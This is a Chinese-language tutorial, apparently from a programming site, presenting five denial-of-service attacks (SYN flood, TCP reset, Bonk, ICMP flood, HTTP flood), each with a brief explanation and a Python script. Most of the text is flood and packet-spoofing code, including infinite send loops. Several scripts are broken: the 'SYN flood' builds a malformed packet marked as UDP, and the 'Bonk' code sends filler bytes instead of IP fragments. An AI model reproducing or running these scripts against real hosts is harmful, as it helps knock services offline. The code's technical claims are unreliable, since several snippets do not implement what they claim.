  1. SYN Flood攻击
    SYN Flood攻击利用了TCP协议三次握手的特点，向目标主机发送大量的SYN连接请求，导致目标主机无法处理正常请求。
    代码演示：
import socket
import random
target_ip = "127.0.0.1"
target_port = 80
source_ip = "192.168.1.1"
spoof_ip = socket.inet_aton(source_ip)
packet = ""
packet += chr(random.randint(0, 255))
packet += chr(random.randint(0, 255))
packet += "\x00\x00"
packet += "\x00\x00"
packet += chr(0x11)
packet += chr(0x94)
packet += "\x00\x00"
packet += spoof_ip
packet += socket.inet_aton(target_ip)
packet += "\x00\x00\x00\x00" * 4
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.sendto(packet, (target_ip, target_port))
  1. TCP连接重置攻击
    TCP连接重置攻击利用了TCP协议中的RST标志位，向目标主机发送重置请求，使得目标主机无法继续正常的连接。
    代码演示：
from scapy.all import *
target_ip = "127.0.0.1"
target_port = 80
source_ip = "192.168.1.1"
spoof_ip = IP(src=source_ip, dst=target_ip)
spoof_tcp = TCP(sport=1234, dport=target_port, flags="R", seq=12345)
packet = spoof_ip / spoof_tcp
send(packet, verbose=0)
  1. Bonk攻击
    Bonk攻击利用了Windows系统中的漏洞，在向目标主机发送错误的IP分片时，导致目标主机崩溃。
    代码演示：
import socket
target_ip = "127.0.0.1"
target_port = 80
packet = b"\x41" * 8 + b"\x42" * 8 + b"\x43" * 8
packet += b"\x44" * 8 + b"\x45" * 8 + b"\x46" * 8
packet += b"\x47" * 8 + b"\x48" * 8 + b"\x49" * 8
packet += b"\x4a" * 8 + b"\x4b" * 8 + b"\x4c" * 8
packet += b"\x4d" * 8 + b"\x4e" * 8 + b"\x4f" * 8
packet += b"\x50" * 8 + b"\x51" * 8 + b"\x52" * 8
packet += b"\x53" * 8 + b"\x54" * 8 + b"\x55" * 8
packet += b"\x56" * 8 + b"\x57" * 8 + b"\x58" * 8
packet += b"\x59" * 8 + b"\x5a" * 8
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(packet, (target_ip, target_port))
  1. ICMP Flood攻击
    ICMP Flood攻击利用了ICMP协议的特点，向目标主机发送大量的回显请求，导致目标主机无法处理正常请求。
    代码演示：
import socket
import random
target_ip = "127.0.0.1"
packet = b"\x08\x00\x01\x02" + b"".join([chr(random.randint(0, 255)).encode() for _ in range(32)])
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
while True:
    s.sendto(packet, (target_ip, 0))
  1. HTTP Flood攻击
    HTTP Flood攻击利用了HTTP协议的特点，向目标主机发送大量的HTTP请求，导致目标主机无法处理正常请求。
    代码演示：
import socket
import random
target_ip = "127.0.0.1"
target_port = 80
packet = "GET / HTTP/1.1\r\n"
packet += "Host: pidancode.com\r\n"
packet += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0\r\n"
packet += "Accept-Encoding: gzip, deflate\r\n"
packet += "Connection: keep-alive\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
while True:
    s.send(packet.encode())
